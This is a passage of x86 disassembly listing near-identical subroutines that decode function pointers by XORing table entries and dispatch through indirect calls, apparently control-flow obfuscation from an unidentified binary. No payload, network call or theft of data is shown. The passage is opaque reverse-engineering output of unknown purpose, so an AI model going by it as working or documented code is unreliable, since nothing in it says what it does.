mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB6A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB7A3 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA50o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 21h
mov [ebp+var_2C], 0EFh
mov [ebp+var_28], 0EBh
mov [ebp+var_24], 9Ch
mov [ebp+var_20], 10h
mov [ebp+var_1C], 1Eh
mov [ebp+var_18], 0C0h
mov [ebp+var_14], 0D2h
mov [ebp+var_10], 0Ch
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ch
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB834
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB834: ; CODE XREF: sub_4AB7A3+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB7A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB8A0 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA54o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0CDh
mov [ebp+var_2C], 58h
mov [ebp+var_28], 0BBh
mov [ebp+var_24], 4Fh
mov [ebp+var_20], 0EBh
mov [ebp+var_1C], 0A7h
mov [ebp+var_18], 5Ch
mov [ebp+var_14], 7Dh
mov [ebp+var_10], 5
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 5
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AB931
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AB931: ; CODE XREF: sub_4AB8A0+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB8A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AB99D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA58o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 66h
mov [ebp+var_2C], 0A9h
mov [ebp+var_28], 5Bh
mov [ebp+var_24], 77h
mov [ebp+var_20], 0A1h
mov [ebp+var_1C], 0E9h
mov [ebp+var_18], 0F5h
mov [ebp+var_14], 0C0h
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ABA2E
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ABA2E: ; CODE XREF: sub_4AB99D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AB99D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ABA9A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA5Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0B5h
mov [ebp+var_2C], 0EDh
mov [ebp+var_28], 1Ch
mov [ebp+var_24], 0A4h
mov [ebp+var_20], 0E2h
mov [ebp+var_1C], 0ADh
mov [ebp+var_18], 0D1h
mov [ebp+var_14], 84h
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ABB2B
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ABB2B: ; CODE XREF: sub_4ABA9A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ABA9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ABB97 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA60o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 9Eh
mov [ebp+var_2C], 0A2h
mov [ebp+var_28], 0EAh
mov [ebp+var_24], 32h
mov [ebp+var_20], 0F6h
mov [ebp+var_1C], 8Ah
mov [ebp+var_18], 0C5h
mov [ebp+var_14], 74h
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ABC28
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ABC28: ; CODE XREF: sub_4ABB97+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ABB97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ABC94 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA64o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 50h
mov [ebp+var_2C], 0D7h
mov [ebp+var_28], 2Dh
mov [ebp+var_24], 8Eh
mov [ebp+var_20], 4
mov [ebp+var_1C], 73h
mov [ebp+var_18], 73h
mov [ebp+var_14], 4Ch
mov [ebp+var_10], 4
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 4
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ABD25
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ABD25: ; CODE XREF: sub_4ABC94+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ABC94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ABD91 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA68o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 3
mov [ebp+var_2C], 83h
mov [ebp+var_28], 39h
mov [ebp+var_24], 0AAh
mov [ebp+var_20], 5Dh
mov [ebp+var_1C], 0DFh
mov [ebp+var_18], 3Eh
mov [ebp+var_14], 40h
mov [ebp+var_10], 0Ch
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ch
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ABE22
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ABE22: ; CODE XREF: sub_4ABD91+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ABD91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ABE8E proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA6Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0C1h
mov [ebp+var_2C], 1
mov [ebp+var_28], 8Ah
mov [ebp+var_24], 0C0h
mov [ebp+var_20], 0A9h
mov [ebp+var_1C], 0B1h
mov [ebp+var_18], 1Ah
mov [ebp+var_14], 0B2h
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ABF1F
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ABF1F: ; CODE XREF: sub_4ABE8E+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ABE8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ABF8B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA70o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 5Dh
mov [ebp+var_2C], 53h
mov [ebp+var_28], 71h
mov [ebp+var_24], 57h
mov [ebp+var_20], 51h
mov [ebp+var_1C], 82h
mov [ebp+var_18], 0AEh
mov [ebp+var_14], 0Fh
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC01C
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC01C: ; CODE XREF: sub_4ABF8B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ABF8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC088 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA74o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 74h
mov [ebp+var_2C], 0F2h
mov [ebp+var_28], 7Eh
mov [ebp+var_24], 1Bh
mov [ebp+var_20], 0A1h
mov [ebp+var_1C], 5Eh
mov [ebp+var_18], 0E0h
mov [ebp+var_14], 96h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC119
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC119: ; CODE XREF: sub_4AC088+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC088 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC185 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA78o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E6h
mov [ebp+var_2C], 0F4h
mov [ebp+var_28], 9Ah
mov [ebp+var_24], 8
mov [ebp+var_20], 70h
mov [ebp+var_1C], 1Eh
mov [ebp+var_18], 70h
mov [ebp+var_14], 0B3h
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC216
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC216: ; CODE XREF: sub_4AC185+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AC185 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AC282 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDA7Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 69h
mov [ebp+var_2C], 0ACh
mov [ebp+var_28], 0C6h
mov [ebp+var_24], 93h
mov [ebp+var_20], 9Bh
mov [ebp+var_1C], 0BCh
mov [ebp+var_18], 0Ah
mov [ebp+var_14], 0
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AC313
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AC313: ; CODE XREF: sub_4AC282+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
